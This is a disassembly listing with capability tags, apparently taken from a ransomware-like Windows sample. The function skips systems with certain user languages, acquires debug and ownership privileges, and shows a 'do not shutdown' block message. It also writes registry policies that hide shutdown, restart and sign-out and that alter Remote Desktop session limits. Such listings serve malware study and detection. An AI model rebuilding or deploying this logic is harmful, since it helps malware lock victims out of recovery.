Function at 0x14000ab50
Capabilities:
Acquire debug privileges
Create thread
Hide shutdown actions via policy
Identify system language via api
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rbp + 0x270], rax
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_WinMain_struct_HINSTANCE______ptr64__struct_HINSTANCE______ptr64__char____ptr64__int_::_2::_lambda_1___void___.0
mov qword [rsp + 0x3a8], r14
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x20]
lea rax, [rsp + 0x78]
xor r14d, r14d
lea rcx, [rsp + 0x78]
mov qword [rbp - 0x50], rax
mov qword [rbp + 0x58], r14
call fcn.140011fb0
mov rcx, qword [rbp - 0x50]
mov qword [rbp + 0x58], rax
test rcx, rcx
je 0x14000abc2
mov rax, qword [rcx]
lea rdx, [rsp + 0x78]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x419
sub ax, cx
cmp ax, 0x2b
ja 0x14000abea
movabs rcx, 0x84000000601
bt rcx, rax
jb 0x14000b328
xor r8d, r8d
mov qword [rsp + 0x390], rbx
lea r9, str.89A72EF01
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, rax
test rax, rax
je 0x14000b320
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b320
mov qword [rsp + 0x398], rsi
mov rcx, rbx
mov qword [rsp + 0x3a0], rdi
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rcx, str.PowrProf.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000ac75
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000ac75
lea rdx, [0x1400537e0]
xor ecx, ecx
call rax
xor ecx, ecx
call fcn.14003a890
mov rcx, rax
call fcn.140034090
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140007300
lea rcx, str.SeDebugPrivilege
call fcn.140007300
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x14000a810]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x14000acd0
mov edx, 0x4e20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x28], r14
lea r8, [0x140015680]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ntdll.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, 0x104
lea rdx, [rbp + 0x60]
xor ecx, ecx
mov qword [0x140076158], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rax, [rbp + 0x60]
lea rax, [rax + rcx*2]
nop dword [rax]
mov rdx, rax
sub rax, 2
cmp word [rax], 0x5c
jne 0x14000ad40
lea rcx, [0x140076180]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [0x140076180]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x140076290]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x140076300]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x1400762b8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ShutdownBlockReasonCreate
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x14000ae46
xorps xmm0, xmm0
mov qword [rbp - 0x40], r14
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm0
lea rax, [0x14000ab40]
movdqa xmmword [rbp - 0x10], xmm1
xor ecx, ecx
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x40]
lea rax, str.window
mov qword [rbp], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], r14
xor r9d, r9d
mov qword [rsp + 0x50], r14
xor r8d, r8d
mov qword [rsp + 0x48], r14
xor ecx, ecx
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], 0x80000000
mov dword [rsp + 0x30], 0x80000000
mov dword [rsp + 0x28], r14d
movzx edx, ax
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea rdx, str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
call rdi
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], 1
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdi, qword [rsp + 0x3a0]
test eax, eax
jne 0x14000aeb8
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000af1b
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000af7e
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], r14d
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], r14
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000afe5
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.shutdownwithoutlogon
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b048
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxConnectionTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b0ab
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxDisconnectionTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b10e
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxIdleTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140009cd0
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b189
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b1ec
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b24f
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], 1
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], r14
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b2b9
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.shutdownwithoutlogon
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x140076290]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x140076300]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x1400762b8]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
test rbx, rbx
je 0x14000b2fc
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x14000b318
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x398]
mov rbx, qword [rsp + 0x390]
mov rcx, qword [rbp + 0x58]
mov r14, qword [rsp + 0x3a8]
test rcx, rcx
je 0x14000b372
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x14000b358
mov rax, qword [rcx]
lea rdx, [rbp + 0x20]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
xor eax, eax
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0x380
pop rbp
ret
call fcn.14002d3b0
int3